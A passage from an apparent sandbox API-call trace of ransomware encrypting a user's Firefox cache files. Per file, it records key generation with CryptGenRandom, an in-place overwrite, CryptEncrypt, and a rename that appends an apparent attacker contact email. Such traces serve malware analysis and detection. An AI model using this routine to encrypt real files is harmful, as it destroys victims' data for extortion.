(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD75170AFD4083DF36F2FB2A0FF4F5F235DAACCC", dwFileAttributes=0x80) returned 1 [0185.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8748 [0185.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8748 | out: hHeap=0x520000) returned 1 [0185.386] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD75170AFD4083DF36F2FB2A0FF4F5F235DAACCC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad75170afd4083df36f2fb2a0ff4f5f235daaccc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.387] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=143669) returned 1 [0185.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23135) returned 0x2eeb018 [0185.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x23135) returned 0x3520048 [0185.387] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x23135, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x23135, lpOverlapped=0x0) returned 1 [0185.476] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-143669, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.476] WriteFile (in: hFile=0x1b80, lpBuffer=0x3520048*, nNumberOfBytesToWrite=0x23135, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3520048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x23135, lpOverlapped=0x0) returned 1 [0185.476] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.477] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3520048 | out: hHeap=0x520000) returned 1 [0185.477] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x23135 [0185.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.477] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8328*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8328*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.477] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8328*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8328*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.481] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.481] CloseHandle (hObject=0x1b80) returned 1 [0185.481] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8328 | out: hHeap=0x520000) returned 1 [0185.481] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.482] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD75170AFD4083DF36F2FB2A0FF4F5F235DAACCC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad75170afd4083df36f2fb2a0ff4f5f235daaccc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD75170AFD4083DF36F2FB2A0FF4F5F235DAACCC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad75170afd4083df36f2fb2a0ff4f5f235daaccc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7cf8 | out: hHeap=0x520000) returned 1 [0185.485] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7bf0 | out: hHeap=0x520000) returned 1 [0185.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e76c8 [0185.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8010 [0185.485] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0185.485] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e8010 | out: pbBuffer=0x30e8010) returned 1 [0185.485] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0185.485] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD723E2A38015428896DFDC95ED19ACE3C651918", dwFileAttributes=0x80) returned 1 [0185.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8d78 [0185.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8d78 | out: hHeap=0x520000) returned 1 [0185.486] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD723E2A38015428896DFDC95ED19ACE3C651918" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad723e2a38015428896dfdc95ed19ace3c651918"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.486] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=38311) returned 1 [0185.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x95a7) returned 0x2eeb018 [0185.486] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x95a7) returned 0x2ef45c8 [0185.486] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x95a7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x95a7, lpOverlapped=0x0) returned 1 [0185.545] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-38311, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.545] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef45c8*, nNumberOfBytesToWrite=0x95a7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef45c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x95a7, lpOverlapped=0x0) returned 1 [0185.545] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.545] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2ef45c8 | out: hHeap=0x520000) returned 1 [0185.545] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x95a7 [0185.545] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.545] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e8010*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e8010*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.545] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e8010*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e8010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.546] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.546] CloseHandle (hObject=0x1b80) returned 1 [0185.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8010 | out: hHeap=0x520000) returned 1 [0185.546] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0185.546] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD723E2A38015428896DFDC95ED19ACE3C651918" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad723e2a38015428896dfdc95ed19ace3c651918"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD723E2A38015428896DFDC95ED19ACE3C651918.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad723e2a38015428896dfdc95ed19ace3c651918.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e76c8 | out: hHeap=0x520000) returned 1 [0185.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8220 | out: hHeap=0x520000) returned 1 [0185.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e76c8 [0185.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e73b0 [0185.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.548] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e73b0 | out: pbBuffer=0x30e73b0) returned 1 [0185.548] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.548] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD5CC6C3EF654A81613FC58F5B9093E21C3626FC", dwFileAttributes=0x80) returned 1 [0185.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8010 [0185.548] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.548] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8010 | out: hHeap=0x520000) returned 1 [0185.548] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD5CC6C3EF654A81613FC58F5B9093E21C3626FC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad5cc6c3ef654a81613fc58f5b9093e21c3626fc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.549] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3888) returned 1 [0185.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf30) returned 0x30ef880 [0185.549] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf30) returned 0x30f07b8 [0185.549] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0xf30, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0185.583] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.583] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f07b8*, nNumberOfBytesToWrite=0xf30, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f07b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf30, lpOverlapped=0x0) returned 1 [0185.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.583] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f07b8 | out: hHeap=0x520000) returned 1 [0185.583] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf30 [0185.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.583] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e73b0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e73b0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.583] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e73b0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e73b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.584] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.584] CloseHandle (hObject=0x1b80) returned 1 [0185.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e73b0 | out: hHeap=0x520000) returned 1 [0185.584] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.584] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD5CC6C3EF654A81613FC58F5B9093E21C3626FC" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad5cc6c3ef654a81613fc58f5b9093e21c3626fc"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AD5CC6C3EF654A81613FC58F5B9093E21C3626FC.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ad5cc6c3ef654a81613fc58f5b9093e21c3626fc.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e76c8 | out: hHeap=0x520000) returned 1 [0185.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e78d8 | out: hHeap=0x520000) returned 1 [0185.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e9090 [0185.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7098 [0185.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.586] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7098 | out: pbBuffer=0x30e7098) returned 1 [0185.586] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.586] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AC31BEF2DDB621646DC1FC9FF5F5EAD1F4B6D825", dwFileAttributes=0x80) returned 1 [0185.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e75c0 [0185.586] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.586] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e75c0 | out: hHeap=0x520000) returned 1 [0185.587] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AC31BEF2DDB621646DC1FC9FF5F5EAD1F4B6D825" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ac31bef2ddb621646dc1fc9ff5f5ead1f4b6d825"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.587] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6080) returned 1 [0185.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17c0) returned 0x30ef880 [0185.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17c0) returned 0x30f1048 [0185.587] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x17c0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x17c0, lpOverlapped=0x0) returned 1 [0185.618] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.618] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f1048*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f1048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17c0, lpOverlapped=0x0) returned 1 [0185.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f1048 | out: hHeap=0x520000) returned 1 [0185.618] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17c0 [0185.618] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.618] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e7098*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e7098*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.618] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7098*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7098*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.619] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.619] CloseHandle (hObject=0x1b80) returned 1 [0185.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7098 | out: hHeap=0x520000) returned 1 [0185.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.619] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AC31BEF2DDB621646DC1FC9FF5F5EAD1F4B6D825" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ac31bef2ddb621646dc1fc9ff5f5ead1f4b6d825"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AC31BEF2DDB621646DC1FC9FF5F5EAD1F4B6D825.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ac31bef2ddb621646dc1fc9ff5f5ead1f4b6d825.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e9090 | out: hHeap=0x520000) returned 1 [0185.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8f88 | out: hHeap=0x520000) returned 1 [0185.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8b68 [0185.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e7bf0 [0185.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e7bf0 | out: pbBuffer=0x30e7bf0) returned 1 [0185.621] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.621] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB64DA67CFD54D7D76A690466131CF5944F86377", dwFileAttributes=0x80) returned 1 [0185.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e8430 [0185.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e8430 | out: hHeap=0x520000) returned 1 [0185.621] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB64DA67CFD54D7D76A690466131CF5944F86377" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\ab64da67cfd54d7d76a690466131cf5944f86377"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.622] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4911) returned 1 [0185.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x132f) returned 0x30ef880 [0185.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x132f) returned 0x30f0bb8 [0185.622] ReadFile (in: hFile=0x1b80, lpBuffer=0x30ef880, nNumberOfBytesToRead=0x132f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30ef880*, lpNumberOfBytesRead=0x2e1f9bc*=0x132f, lpOverlapped=0x0) returned 1 [0185.623] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.623] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f0bb8*, nNumberOfBytesToWrite=0x132f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0bb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x132f, lpOverlapped=0x0) returned 1 [0185.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30ef880 | out: hHeap=0x520000) returned 1 [0185.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f0bb8 | out: hHeap=0x520000) returned 1 [0185.623] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x132f [0185.623] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.623] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e7bf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e7bf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.624] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e7bf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.624] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.624] CloseHandle (hObject=0x1b80) returned 1 [0185.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7bf0 | out: hHeap=0x520000) returned 1 [0185.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.624] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\AB64DA67CFD54D7D76A690466131CF5944F86377" (normalized: 